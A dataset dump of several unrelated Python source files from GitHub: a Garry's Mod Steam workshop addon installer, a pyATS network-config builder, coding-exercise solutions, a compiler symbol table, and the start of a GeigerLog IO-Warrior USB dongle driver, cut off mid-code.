gmad_path = \"./gmad_linux\"\n subprocess.check_output([\"chmod\", \"+x\", gmad_path])\n elif platform.system() == \"Darwin\":\n pass\n else:\n print(platform.system() + \" - Platform can't be identified\")\n platform = None\n config.set(\"main\", \"gmad_path\", gmad_path)\n config.set(\"main\", \"temp_path\", \"temp\")\n config.set(\"main\", \"gmod_path\", \".\")\n with open(\"main.cfg\", \"w\") as configFile:\n config.write(configFile)\n configFile.close()\nelse:\n config.read(\"main.cfg\")\n\nfolders = [\n \"addons\", \"dupes\", \"saves\"\n]\nif not os.path.exists(config.get(\"main\", \"temp_path\")):\n os.makedirs(config.get(\"main\", \"temp_path\"))\nfor folder in folders:\n if not os.path.exists(config.get(\"main\", \"gmod_path\")+\"/\" + folder):\n os.makedirs(config.get(\"main\", \"gmod_path\")+\"/\" + folder)\n\nheaders = {\n \"Content-type\": \"application/x-www-form-urlencoded\",\n \"Accept\": \"text/plain\"\n}\n\n\nclass url_parser():\n def getID(url):\n import urllib.parse\n steamID = urllib.parse.parse_qsl(url)[0][1]\n return steamID\n\n\nclass valid_fileName_generator():\n fileName = None\n\n def __init__(self, title):\n \"\"\"\n generates valid fileName from steam workshop title\n\n original code: https://gist.github.com/wassname/1393c4a57cfcbf03641dbc31886123b8\n \"\"\"\n import unicodedata\n import string\n valid_filename_chars = \"-_.[]() %s%s\" % (string.ascii_letters, string.digits)\n for r in ' ':\n title = title.replace(r, '_')\n self.fileName = unicodedata.normalize(\n 'NFKD', title).encode('ASCII', 'ignore').decode()\n self.fileName = ''.join(\n c for c in self.fileName if c in valid_filename_chars)\n self.fileName = self.fileName[:255]\n\n\nclass steam_object():\n url = None\n steamID = None\n collectionResult = None\n fileResult = None\n collectionJSON = None\n fileJSON = None\n time_updated = None\n directURL = None\n previewURL = None\n description = None\n title = None\n latestUpdate_time = None\n\n def __init__(self, url=\"\", time_updated=0):\n self.url = url\n self.steamID = url_parser.getID(self.url)\n self.time_updated = time_updated\n self.url = \"https://steamcommunity.com/sharedfiles/filedetails/?id=\" + \\\n str(self.steamID)\n self.request()\n\n def request(self):\n self.collectionResult = requests.post(\n \"https://api.steampowered.com/ISteamRemoteStorage/GetCollectionDetails/v0001/\",\n \"collectioncount=1&publishedfileids[0]=\"+str(self.steamID),\n headers=headers)\n self.fileResult = requests.post(\n \"https://api.steampowered.com/ISteamRemoteStorage/GetPublishedFileDetails/v0001/\",\n \"itemcount=1&publishedfileids[0]=\"+str(self.steamID),\n headers=headers)\n self.collectionJSON = json.loads(self.collectionResult.text)\n self.fileJSON = json.loads(self.fileResult.text)\n if self.steam_type() != None:\n self.title = self.fileJSON['response']['publishedfiledetails'][0]['title']\n self.description = self.fileJSON['response']['publishedfiledetails'][0]['description']\n self.directURL = self.fileJSON['response']['publishedfiledetails'][0]['file_url']\n self.previewURL = self.fileJSON['response']['publishedfiledetails'][0]['preview_url']\n self.latestUpdate_time = self.fileJSON['response']['publishedfiledetails'][0]['time_updated']\n\n def isLatest(self):\n if self.latestUpdate_time <= self.time_updated:\n return True\n else:\n return False\n\n def steam_type(self):\n\n if len(self.fileJSON['response']['publishedfiledetails'][0]) <= 2:\n return None\n elif \"addon\" in str(self.fileJSON['response']['publishedfiledetails'][0]['filename']) or \"gm\" in str(self.fileJSON['response']['publishedfiledetails'][0]['filename']):\n return \"addon\"\n elif str(self.fileJSON[\"response\"][\"publishedfiledetails\"][0][\"filename\"]).startswith(\"creation/\"):\n if str(self.fileJSON['response']['publishedfiledetails'][0]['tags'][0]['tag']) == \"Dupe\":\n return \"dupe\"\n elif(str(self.fileJSON['response']['publishedfiledetails'][0]['tags'][0]['tag']) == \"Save\"):\n return \"save\"\n elif not self.collectionJSON['response']['collectiondetails'][0]['result'] == 9:\n return \"collection\"\n\n\n# create addons.json if doesn't exists\nif not os.path.exists(\"addons.json\"):\n with open(\"addons.json\", \"w\") as addonsFile:\n addonsFile.write(json.dumps(\n {\"addons\": [], \"dupes\": [], \"saves\": [], \"collections\": []}, indent=4))\n addonsFile.close()\n# read addons.json\nwith open(\"addons.json\", \"r\") as addonsFile:\n addons = dict(json.loads(addonsFile.read()))\n addonsFile.close()\n\nnogmad = False\n\n\ndef dedupe():\n for category in [\"addons\", \"dupes\", \"saves\", \"collections\"]:\n for i in range(len(addons[category])):\n for i1 in range(len(addons[category])):\n if i != i1:\n try:\n addon = addons[category][i]\n addon1 = addons[category][i1]\n if (addon[\"title\"] == addon1[\"title\"]) and (addon[\"description\"] == addon1[\"description\"]) and (addon[\"preview\"] == addon1[\"preview\"]) and (addon[\"url\"] == addon1[\"url\"]) and (addon[\"time_updated\"] == addon1[\"time_updated\"]):\n if addon[\"childrens\"] or addon1[\"childrens\"]:\n if addon[\"childrens\"] and not addon1[\"childrens\"]:\n del addons[category][i1]\n elif not addon[\"childrens\"] and addon1[\"childrens\"]:\n del addons[category][i]\n else:\n del addons[category][i1]\n except:\n pass\n\n\ndef extract(steam_obj: steam_object):\n path = config.get(\"main\", \"temp_path\")+\"/\" + \\\n valid_fileName_generator(steam_obj.title).fileName\n with lzma.open(path) as f:\n with open(path + \".extracted\", \"wb+\") as fout:\n fout.write(f.read())\n fout.close()\n f.close()\n\n\ndef installed(steam_obj: steam_object):\n if steam_obj.steam_type() == \"addon\":\n return os.path.exists(config.get(\"main\", \"gmod_path\")+\"/addons/\"+valid_fileName_generator(steam_obj.title).fileName)\n elif steam_obj.steam_type() == \"dupe\":\n return os.path.exists(config.get(\"main\", \"gmod_path\")+\"/dupes/\"+valid_fileName_generator(steam_obj.title).fileName+\".dupe\")\n elif steam_obj.steam_type() == \"save\":\n return os.path.exists(config.get(\"main\", \"gmod_path\")+\"/saves/\"+valid_fileName_generator(steam_obj.title).fileName+\".gms\")\n\n\ndef install_not_collection(steam_obj: steam_object, collection: str = None, latest=False):\n prefix = \"\"\n indent = \"\"\n if collection:\n prefix = \"├\"\n indent = \"│ \"\n if latest:\n prefix = \"└\"\n indent = \" \"\n print(prefix + steam_obj.title)\n if (not steam_obj.isLatest()) or (not installed(steam_obj)):\n # print(indent+\"├ downloading\")\n r = requests.get(steam_obj.directURL, stream=True)\n with open(config.get(\"main\", \"temp_path\")+\"/\"+valid_fileName_generator(steam_obj.title).fileName, \"wb\") as workshopFile:\n total_length = r.headers.get('content-length')\n if total_length is None:\n workshopFile.write(r.content)\n else:\n dl = 0\n total_length = int(total_length)\n for data in r.iter_content(chunk_size=4096):\n dl += len(data)\n workshopFile.write(data)\n done = int(50 * dl / total_length)\n sys.stdout.write(\"\\r\"+indent+\"├ downloading [%s%s]\" %\n ('=' * done, '─' * (50-done)))\n sys.stdout.flush()\n print(\"\")\n workshopFile.close()\n print(indent + \"├ extracting\")\n extract(steam_obj)\n os.remove(config.get(\"main\", \"temp_path\")+\"/\" +\n valid_fileName_generator(steam_obj.title).fileName)\n if steam_obj.steam_type() == \"addon\":\n print(indent + \"└ extracting via gmad\")\n if not nogmad:\n subprocess.check_output([config.get(\"main\", \"gmad_path\"), \"extract\", \"-file\", config.get(\"main\", \"temp_path\")+\"/\" +\n valid_fileName_generator(steam_obj.title).fileName + \".extracted\", \"-out\", config.get(\"main\", \"gmod_path\")+\"/addons/\"+valid_fileName_generator(steam_obj.title).fileName])\n elif steam_obj.steam_type() == \"dupe\":\n shutil.copy(config.get(\"main\", \"temp_path\")+\"/\"+valid_fileName_generator(steam_obj.title).fileName + \".extracted\",\n config.get(\"main\", \"gmod_path\")+\"/dupes/\"+valid_fileName_generator(steam_obj.title).fileName+\".dupe\")\n preview = requests.get(steam_obj.previewURL)\n with open(config.get(\"main\", \"gmod_path\")+\"/dupes/\"+valid_fileName_generator(steam_obj.title).fileName + \".jpg\", \"wb\") as previewFile:\n previewFile.write(preview.content)\n previewFile.close()\n elif steam_obj.steam_type() == \"save\":\n shutil.copy(config.get(\"main\", \"temp_path\")+\"/\"+valid_fileName_generator(steam_obj.title).fileName + \".extracted\",\n config.get(\"main\", \"gmod_path\")+\"/saves/\"+valid_fileName_generator(steam_obj.title).fileName+\".gms\")\n preview = requests.get(steam_obj.previewURL)\n with open(config.get(\"main\", \"gmod_path\")+\"/saves/\"+valid_fileName_generator(steam_obj.title).fileName + \".jpg\", \"wb\") as previewFile:\n previewFile.write(preview.content)\n previewFile.close()\n os.remove(config.get(\"main\", \"temp_path\")+\"/\" +\n valid_fileName_generator(steam_obj.title).fileName + \".extracted\")\n else:\n print(indent + \"└ latest\")\n\n\ndef install_collection(steam_obj: steam_object):\n print(steam_obj.title)\n newTimes = {}\n for iID in range(len(steam_obj.collectionJSON['response']['collectiondetails'][0]['children'])):\n addon = steam_obj.collectionJSON[\"response\"]['collectiondetails'][0][\"children\"][iID]\n try:\n newTimes[addon[\"publishedfileid\"]\n ] = collection[\"childrens\"][addon[\"publishedfileid\"]]\n except:\n newTimes[addon[\"publishedfileid\"]] = 0\n addonSTEAM = steam_object(\n \"https://steamcommunity.com/sharedfiles/filedetails/?id=\"+addon[\"publishedfileid\"], newTimes[addon[\"publishedfileid\"]])\n install(addonSTEAM, collection=steam_obj.title, latest=(iID == len(\n steam_obj.collectionJSON['response']['collectiondetails'][0]['children'])-1))\n newTimes[addon[\"publishedfileid\"]] = addonSTEAM.latestUpdate_time\n\n return {\"childrens\": newTimes}\n\n\ndef install(steam_obj: steam_object, collection: str = None, latest=False):\n if steam_obj.steam_type() == \"collection\":\n return install_collection(steam_obj)\n elif not steam_obj.steam_type() == None:\n install_not_collection(steam_obj, collection, latest)\n else:\n print(\"ERROR: \" + steam_obj.url + \", isn't valid\")\n\n\ndef installARGS(url):\n \"\"\"\n thanks https://stackoverflow.com/a/43424173/9765252\n \"\"\"\n new_steam_object = steam_object(url)\n category = addons[new_steam_object.steam_type() + \"s\"]\n install(new_steam_object)\n new_object = {\"title\": new_steam_object.title,\n \"description\": new_steam_object.description,\n \"preview\": new_steam_object.previewURL,\n \"url\": new_steam_object.url,\n \"time_updated\": new_steam_object.latestUpdate_time}\n category.insert(0, new_object)\n dedupe()\n\n\nnogmad = args[\"nogmad\"]\n\nif args[\"install\"]:\n for steam in args[\"install\"]:\n if str(steam).isdigit():\n installARGS(\n \"https://steamcommunity.com/sharedfiles/filedetails/?id=\"+steam)\n elif str(steam):\n installARGS(steam)\n else:\n pass\n\nif not args[\"nocheck\"]:\n for addon in addons[\"addons\"]:\n addonURL = addon[\"url\"]\n addonTimeUpdated = addon[\"time_updated\"]\n addonSTEAM = steam_object(addonURL, addonTimeUpdated)\n addon[\"title\"] = addonSTEAM.title\n addon[\"description\"] = addonSTEAM.description\n addon[\"preview\"] = addonSTEAM.previewURL\n addon[\"url\"] = addonSTEAM.url\n install(addonSTEAM)\n addon[\"time_updated\"] = addonSTEAM.latestUpdate_time\n\n for dupe in addons[\"dupes\"]:\n dupeURL = dupe[\"url\"]\n dupeTimeUpdated = dupe[\"time_updated\"]\n dupeSTEAM = steam_object(dupeURL, dupeTimeUpdated)\n dupe[\"title\"] = dupeSTEAM.title\n dupe[\"description\"] = dupeSTEAM.description\n dupe[\"preview\"] = dupeSTEAM.previewURL\n dupe[\"url\"] = dupeSTEAM.url\n install(dupeSTEAM)\n dupe[\"time_updated\"] = dupeSTEAM.latestUpdate_time\n\n for save in addons[\"saves\"]:\n saveURL = save[\"url\"]\n saveTimeUpdated = save[\"time_updated\"]\n saveSTEAM = steam_object(saveURL, saveTimeUpdated)\n save[\"title\"] = saveSTEAM.title\n save[\"description\"] = saveSTEAM.description\n save[\"preview\"] = saveSTEAM.previewURL\n save[\"url\"] = saveSTEAM.url\n install(saveSTEAM)\n save[\"time_updated\"] = saveSTEAM.latestUpdate_time\n dedupe()\n for collection in addons[\"collections\"]:\n steam_obj = steam_object(\n collection[\"url\"], collection[\"time_updated\"])\n collection[\"url\"] = steam_obj.url\n collection[\"title\"] = steam_obj.title\n collection[\"description\"] = steam_obj.description\n collection[\"preview\"] = steam_obj.previewURL\n result = install_collection(steam_obj)\n collection[\"time_updated\"] = steam_obj.latestUpdate_time\n collection[\"childrens\"] = result[\"childrens\"]\n\n# for i in range(len(addons[\"collections\"])):\n# collection = addons[\"collections\"][i]\n# collectionSTEAM = steam_object(collection[\"url\"])\n# for addon in collectionSTEAM.collectionJSON['response']['collectiondetails'][0]['\"children\"']:\n# addonSTEAM = steam_object(\n# \"https://steamcommunity.com/sharedfiles/filedetails/?id=\"+addon[\"publishedfileid\"])\n# print(addonSTEAM.title)\n# addons['collections'][i]['children'][addonSTEAM.steamID] = addonSTEAM.latestUpdate_time\n\ndedupe()\n\nwith open(\"addons.json\", \"w\") as addonsFile:\n addonsFile.write(json.dumps(addons, indent=4))\n addonsFile.close()\n# https://steamcommunity.com/sharedfiles/filedetails/?id=1716648512 dupe\n# https://steamcommunity.com/sharedfiles/filedetails/?id=1767675383 save\n# https://steamcommunity.com/sharedfiles/filedetails/?id=675560712 addon\n","repo_name":"SupinePandora43/gmod-manager","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":17003,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"39609433404","text":"\nimport logging\n\nfrom genie.conf.base import Device\n\nfrom external_libs.conf.base import Base\n# from external_libs.conf.static_routing import StaticRouting\n\nlogger = logging.getLogger(__name__)\n\nSUPPORTED_OS = ['fitelnet']\n\n\ndef build_base_configs(testbed: object, params: dict) -> dict:\n\n # state\n state = params.get('state', 'present')\n\n # filter attribute\n apply_filter = params.get('apply_filter', False)\n attributes = params.get('filter_attributes')\n\n # create device to generate common config\n common_name = 'common'\n\n base = Base()\n\n devices = []\n device_attr = params.get('device_attr', {}) if params.get('device_attr', {}) else {}\n for device_name, device_data in device_attr.items():\n if device_name == common_name:\n dev = Device(testbed=testbed, name=common_name, os='fitelnet')\n else:\n dev = testbed.devices.get(device_name)\n if dev is None or dev.os not in SUPPORTED_OS:\n continue\n\n devices.append(dev)\n\n if device_data.get('hostname') is not None:\n base.device_attr[device_name].hostname = device_data.get('hostname')\n\n if device_data.get('required_cli') is not None:\n base.device_attr[device_name].required_cli = device_data.get('required_cli')\n\n if device_data.get('domain_name') is not None:\n base.device_attr[device_name].domain_name = device_data.get('domain_name')\n\n if device_data.get('logging_level') is not None:\n base.device_attr[device_name].logging_level = device_data.get('logging_level')\n\n if device_data.get('line_attr') is not None:\n for line_name, line_data in device_data.get('line_attr').items():\n if line_data.get('exec_timeout') is not None:\n base.device_attr[device_name].line_attr[line_name].exec_timeout = line_data.get('exec_timeout')\n\n if device_data.get('logging_attr') is not None:\n for logging_name, logging_data in device_data.get('logging_attr').items():\n if logging_data.get('disable_console') is not None:\n base.device_attr[device_name].logging_attr[logging_name].disable_console = logging_data.get('disable_console')\n if logging_data.get('facility') is not None:\n base.device_attr[device_name].logging_attr[logging_name].facility = logging_data.get('facility')\n\n if device_data.get('interface_attr') is not None:\n for intf_name, intf_data in device_data.get('interface_attr').items():\n intf = base.device_attr[device_name].interface_attr[intf_name]\n if intf_data.get('vlan_id') is not None:\n intf.vlan_id = intf_data.get('vlan_id')\n if intf_data.get('bridge_group') is not None:\n intf.bridge_group = intf_data.get('bridge_group')\n if intf_data.get('channel_group') is not None:\n intf.channel_group = intf_data.get('channel_group')\n if intf_data.get('ipv4_address') is not None:\n intf.ipv4_address = intf_data.get('ipv4_address')\n\n if device_data.get('username_attr') is not None:\n for username_name, username_data in device_data.get('username_attr').items():\n if username_data.get('privilege') is not None:\n base.device_attr[device_name].username_attr[username_name].privilege = username_data.get('privilege')\n if username_data.get('password') is not None:\n base.device_attr[device_name].username_attr[username_name].password = username_data.get('password')\n\n if device_data.get('aaa_login_attr') is not None:\n for aaa_name, aaa_data in device_data.get('aaa_login_attr').items():\n if aaa_data.get('login_method') is not None:\n base.device_attr[device_name].aaa_login_attr[aaa_name].login_method = aaa_data.get('login_method')\n\n if device_data.get('aaa_exec_attr') is not None:\n for aaa_name, aaa_data in device_data.get('aaa_exec_attr').items():\n if aaa_data.get('exec_method') is not None:\n base.device_attr[device_name].aaa_exec_attr[aaa_name].exec_method = aaa_data.get('exec_method')\n\n cfgs = {}\n if state == 'present':\n if apply_filter and attributes is not None:\n cfgs = base.build_config(devices=devices, apply=False, attributes=attributes)\n else:\n cfgs = base.build_config(devices=devices, apply=False)\n elif state == 'absent':\n if apply_filter and attributes is not None:\n cfgs = base.build_unconfig(devices=devices, apply=False, attributes=attributes)\n else:\n cfgs = base.build_unconfig(devices=devices, apply=False)\n\n # convert to str\n configs = {}\n for name, cfg in cfgs.items():\n configs[name] = str(cfg).splitlines()\n\n # append common config\n common_config = configs.get(common_name, [])\n for name, config_list in configs.items():\n if name != common_name:\n config_list.extend(common_config)\n\n del testbed.devices[common_name]\n del configs[common_name]\n\n return configs\n","repo_name":"takamitsu-iida/pyats-fitelnet","sub_path":"examples/config_base/test_libs/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":5235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42800975832","text":"def solution(id_list, report, k):\n answer = []\n user = {}\n report_user = {}\n ban_user = []\n\n for i in id_list:\n user[i] = []\n report_user[i] = []\n\n for i in report:\n a = i.split()\n if a[0] not in user[a[1]]:\n user[a[1]].append(a[0])\n report_user[a[0]].append(a[1])\n\n for a, b in user.items():\n if len(b) >= k:\n ban_user.append(a)\n\n for v in report_user.values():\n cnt = 0\n for i in ban_user:\n if i in v:\n cnt += 1\n answer.append(cnt)\n\n return answer\n","repo_name":"LeeJeongWook/Programming","sub_path":"Test/2022 KAKAO BLIND RECRUITMENT 예선/프로그래밍1.py","file_name":"프로그래밍1.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34954017178","text":"\nclass variable:\n def __init__(self, node, type, init, const, register=None):\n self.name = node.value\n self.init = init\n self.type = type\n self.const = const\n self.isArray = node.isArray\n self.size = node.size #size of the array\n self.register = register\n\nclass Function:\n def __init__(self, name, init, arguments, returnType):\n self.name = name\n self.init = init\n self.arguments = arguments\n self.returnType = returnType\n \nclass scope:\n def __init__(self, parentScope = None):\n self.parentScope = parentScope\n self.symbolTable = []\n \n def addElement(self, element):\n self.symbolTable.append(element)\n \n def getAllElements(self):\n allElements = []\n for x in self.symbolTable:\n if not isinstance(x, scope):\n allElements.append(x)\n\n if self.parentScope is not None:\n return allElements + self.parentScope.getAllElements()\n\n return allElements\n\n def isInScope(self, name, type):\n allElements = self.getAllElements()\n if type == 'variable':\n for element in allElements:\n if element.name == name and isinstance(element, variable):\n return True\n else:\n for element in allElements:\n if element.name == name and isinstance(element, Function):\n return True\n\n return False\n\n def getElement(self, name, type):\n allElements = self.getAllElements()\n if type == 'variable':\n for element in allElements:\n if element.name == name and isinstance(element, variable):\n return element\n else:\n for element in allElements:\n if element.name == name and isinstance(element, Function):\n return element\n return None\n\n\nclass unnamed_scope(scope):\n def __init__(self, parentScope):\n scope.__init__(self, parentScope)\n\nclass global_scope(scope):\n def __init__(self):\n scope.__init__(self)\n\nclass for_scope(scope):\n def __init__(self, parentScope):\n scope.__init__(self, parentScope)\n \nclass while_scope(scope):\n def __init__(self, parentScope):\n scope.__init__(self, parentScope)\n \nclass if_scope(scope):\n def __init__(self, parentScope):\n scope.__init__(self, parentScope)\n \nclass elif_scope(scope):\n def __init__(self, parentScope):\n scope.__init__(self, parentScope)\n \nclass else_scope(scope):\n def __init__(self, parentScope):\n scope.__init__(self, parentScope)\n\nclass func_scope(scope):\n def __init__(self, parentScope, arguments, returnType):\n scope.__init__(self, parentScope)\n self.arguments = arguments\n self.returnType = returnType\n \n def getAllElements(self):\n allElements = []\n for x in self.symbolTable:\n if not isinstance(x, scope):\n allElements.append(x)\n\n if self.parentScope is not None:\n return self.arguments + allElements + self.parentScope.getAllElements()","repo_name":"MohamedDarkaoui/C-compiler","sub_path":"src/symbolTable.py","file_name":"symbolTable.py","file_ext":"py","file_size_in_byte":3165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26065318369","text":"#!/usr/bin/python3\n\"\"\"\n method that calculates the fewest number of operations\n\"\"\"\n\n\ndef list(num):\n const = 1\n alist = []\n val = num\n while val != 1:\n const += 1\n if val % const == 0:\n while (val % const == 0 and val != 1):\n val /= const\n alist.append(const)\n\n return alist\n\n\ndef minOperations(n):\n \"\"\" main program \"\"\"\n if n < 2 or not isinstance(n, int):\n return 0\n val = list(n)\n return sum(val)\n","repo_name":"Khaledxab/holbertonschool-interview","sub_path":"0x03-minimum_operations/0-minoperations.py","file_name":"0-minoperations.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31199360910","text":"import fire\nfrom src.model.trainer import Trainer\n\n\nclass Main(object):\n def __init__(self, conf_fname=\"./src/conf/config.json\"):\n self.tr = Trainer(conf_fname)\n\n def run(self):\n self.tr.load()\n self.tr.train()\n\n\nif __name__ == \"__main__\":\n fire.Fire(Main)\n","repo_name":"csmile-1006/DropoutNet","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10332089490","text":"#!/usr/bin/python3\n# -*- coding: UTF-8 -*-\n\n\"\"\"\nIO-Warrior24 Dongle (IOW24-DG)\n\"\"\"\n\n###############################################################################\n# This file is part of GeigerLog.\n#\n# GeigerLog is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# GeigerLog is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with GeigerLog. If not, see .\n###############################################################################\n\n\n__author__ = \"ullix\"\n__copyright__ = \"Copyright 2016, 2017, 2018, 2019, 2020, 2021, 2022\"\n__credits__ = [\"\"]\n__license__ = \"GPL3\"\n\n\n# from Code Mercenaries: https://www.codemercs.com/de/dongles/iow24dg\n# Download code from: https://www.codemercs.com/de/download\n# For Linux use: https://www.codemercs.com/downloads/iowarrior/IO-Warrior_SDK_linux.zip\n# and follow the install instructions for libiowkit-1.X\n#\n# currently using: IO-Warrior Dynamic Library V1.5 for Windows, 22. Jul 2016\n#\n# find iowarrior in file system:\n# $ find /lib/modules/$(uname -r) -type f -name 'iow*.ko'\n# --> /lib/modules/4.15.0-142-generic/kernel/drivers/usb/misc/iowarrior.ko\n\n\nimport ctypes\nfrom gsup_utils import *\n\n#\n# begin iow declarations -------------------------------------\n#\niowkit = None # to hold the DLL if the lib was found\n\n# Max number of IOW devices in system = 16\nIOWKIT_MAX_DEVICES = ctypes.c_ulong(16)\n\n# Max number of pipes per IOW device = 2\nIOWKIT_MAX_PIPES = ctypes.c_ulong(2)\n\n# pipe names\nIOW_PIPE_IO_PINS = ctypes.c_ulong(0)\nIOW_PIPE_SPECIAL_MODE = ctypes.c_ulong(1) # use for I2C\n\n# IO-Warrior vendor & product IDs\nIOWKIT_VENDOR_ID = 0x07c0\n# IO-Warrior 40\nIOWKIT_PRODUCT_ID_IOW40 = 0x1500\n# IO-Warrior 24\nIOWKIT_PRODUCT_ID_IOW24 = 0x1501 # used with GeigerLog\nIOWKIT_PRODUCT_ID_IOW24_SENSI = 0x158A\n# IO-Warrior PowerVampire\nIOWKIT_PRODUCT_ID_IOWPV1 = 0x1511\nIOWKIT_PRODUCT_ID_IOWPV2 = 0x1512\n# IO-Warrior 56\nIOWKIT_PRODUCT_ID_IOW56 = 0x1503\nIOWKIT_PRODUCT_ID_IOW56_ALPHA = 0x158B\n\n# IOW Legacy devices open modes\nIOW_OPEN_SIMPLE = ctypes.c_ulong(1)\nIOW_OPEN_COMPLEX = ctypes.c_ulong(2)\n\nIOWKIT_IO_REPORT = ctypes.c_ubyte * 5\nIOWKIT_SPECIAL_REPORT = ctypes.c_ubyte * 8\nIOWKIT56_IO_REPORT = ctypes.c_ubyte * 8\nIOWKIT56_SPECIAL_REPORT = ctypes.c_ubyte * 64\n#\n# end iowkit declarations -------------------------------------\n\n\n\nclass IOWdongle:\n \"\"\"Code for the IO-Warrior24 Dongle\"\"\"\n\n name = \"IOW24-DG\"\n readtimeout = 500 # ms\n writetimeout = 500 # ms - not implemented in lib for Linux\n\n\n def __init__(self):\n \"\"\"only class init\"\"\"\n pass\n\n\n def DongleInit(self):\n \"\"\"opening the USB port and checking for dongle\"\"\"\n\n global IOWKIT_SPECIAL_REPORT, iowkit\n\n\n def getIowSetting(text, ret, *args):\n \"\"\"returns string with Info\"\"\"\n\n sarg = \"\".join(\"{:16s} \".format(str(arg)) for arg in args)\n info = \"{:30s}: {:5s} {:15s}\".format(text, str(ret), sarg)\n return info\n\n\n fncname = \"DongleInit: {} \".format(self.name)\n dprint(fncname)\n # setIndent(1) # tto many returns following\n\n if 'linux' not in sys.platform: # Py3:'linux', Py2:'linux2'\n return (False, \"This dongle is currently supported only on Linux.\")\n\n # find driver: 'libiowkit.so.1'\n import ctypes.util\n iowlib = ctypes.util.find_library(\"iowkit\") # must NOT use prefix (lib), suffix (.so, .so.1, ...)\n cdprint(\" \" + fncname + \"{:30s}: {}\".format(\"Found Library: \", iowlib))\n if iowlib is None:\n msg = \"Cannot find the driver for this dongle.\\n\"\n msg += \"Is the 'iowarrior' driver installed?\"\n return (False, msg)\n\n\n # Loading the library:\n # iowkit = ctypes.CDLL(\"libiowkit.so\") # works ok, libiowkit.so is linked to libiowkit.so.1.0.5\n # iowkit = ctypes.CDLL(\"libiowkit.so.1\") # works ok, libiowkit.so.1 is linked to libiowkit.so.1.0.5\n # iowkit = ctypes.CDLL(\"libiowkit.so.1.0.5\") # works ok, libiowkit.so.1.0.5 is shared library\n iowkit = ctypes.CDLL(iowlib) # works ok\n # edprint(\"iowkit\", iowkit)\n\n\n #\n # make iowkit settings -----------------------------------------\n # (what part of this is really needed?)\n #\n # IOWKIT_HANDLE IOWKIT_API IowKitOpenDevice(void);\n iowkit.IowKitOpenDevice.argtypes = None\n iowkit.IowKitOpenDevice.restype = ctypes.c_voidp\n\n # void IOWKIT_API IowKitCloseDevice(IOWKIT_HANDLE devHandle); # devhandle ignored\n # void IOWKIT_API IowKitCloseDevice(void); # allowed also; compare with open\n iowkit.IowKitCloseDevice.argtypes = None\n iowkit.IowKitCloseDevice.restype = None\n\n # IOWKIT_HANDLE IOWKIT_API IowKitGetDeviceHandle(ULONG numDevice);\n iowkit.IowKitGetDeviceHandle.argtypes = [ctypes.c_ulong] # numDev = 1 ... 16\n iowkit.IowKitGetDeviceHandle.restype = ctypes.c_voidp\n\n # ULONG IOWKIT_API IowKitGetNumDevs(void);\n iowkit.IowKitGetNumDevs.argtypes = None\n iowkit.IowKitGetNumDevs.restype = ctypes.c_ulong # Py default\n\n # PCHAR IOWKIT_API IowKitVersion(void);\n # res like: IO-Warrior Kit V1.5\n iowkit.IowKitVersion.argtypes = None\n iowkit.IowKitVersion.restype = ctypes.c_char_p\n\n # ULONG IOWKIT_API IowKitProductId(IOWKIT_HANDLE iowHandle);\n # res like: 0x1501\n iowkit.IowKitGetProductId.argtypes = [ctypes.c_voidp]\n iowkit.IowKitGetProductId.restype = ctypes.c_ulong # Py default\n\n # ULONG IOWKIT_API IowKitGetRevision(IOWKIT_HANDLE iowHandle);\n # res like: 0x1030\n iowkit.IowKitGetRevision.argtypes = [ctypes.c_voidp]\n iowkit.IowKitGetRevision.restype = ctypes.c_ulong # Py default\n\n # BOOL IOWKIT_API IowKitSetTimeout(IOWKIT_HANDLE devHandle, ULONG timeout);\n iowkit.IowKitSetTimeout.argtypes = [ctypes.c_voidp, ctypes.c_ulong]\n iowkit.IowKitSetTimeout.restype = ctypes.c_bool\n\n # BOOL IOWKIT_API IowKitSetWriteTimeout(IOWKIT_HANDLE devHandle, ULONG timeout);\n iowkit.IowKitSetWriteTimeout.argtypes = [ctypes.c_voidp, ctypes.c_ulong]\n iowkit.IowKitSetWriteTimeout.restype = ctypes.c_bool\n\n # ULONG IOWKIT_API IowKitWrite(IOWKIT_HANDLE devHandle, ULONG self.numPipe, PCHAR buffer, ULONG length);\n iowkit.IowKitWrite.argtypes = [ctypes.c_voidp, ctypes.c_ulong, ctypes.c_voidp, ctypes.c_ulong]\n iowkit.IowKitWrite.restype = ctypes.c_ulong # Py default\n\n # ULONG IOWKIT_API IowKitRead(IOWKIT_HANDLE devHandle, ULONG self.numPipe, PCHAR buffer, ULONG length);\n iowkit.IowKitRead.argtypes = [ctypes.c_voidp, ctypes.c_ulong, ctypes.c_voidp, ctypes.c_ulong]\n iowkit.IowKitRead.restype = ctypes.c_ulong # Py default\n\n # BOOL IOWKIT_API IowKitReadImmediate(IOWKIT_HANDLE devHandle, PDWORD value);\n # Return current value directly read from the IO-Warrior I/O pins.\n # not relevant for I2C\n iowkit.IowKitReadImmediate.argtypes = [ctypes.c_voidp, ctypes.POINTER(ctypes.c_ulong)]\n iowkit.IowKitReadImmediate.restype = ctypes.c_bool\n\n # BOOL IOWKIT_API IowKitGetSerialNumber(IOWKIT_HANDLE iowHandle, PWCHAR serialNumber);\n # from iowkit.h:\n # typedef unsigned short * PWCHAR;\n # from library docu:\n # \"The serial number is represented as an Unicode string. The buffer pointed to\n # by serialNumber must be big enough to hold 9 Unicode characters (18 bytes),\n # because the string is terminated in the usual C way with a 0 character.\"\n #\n # Originally suggested code fails:\n # iowkit.IowKitGetSerialNumber.argtypes = 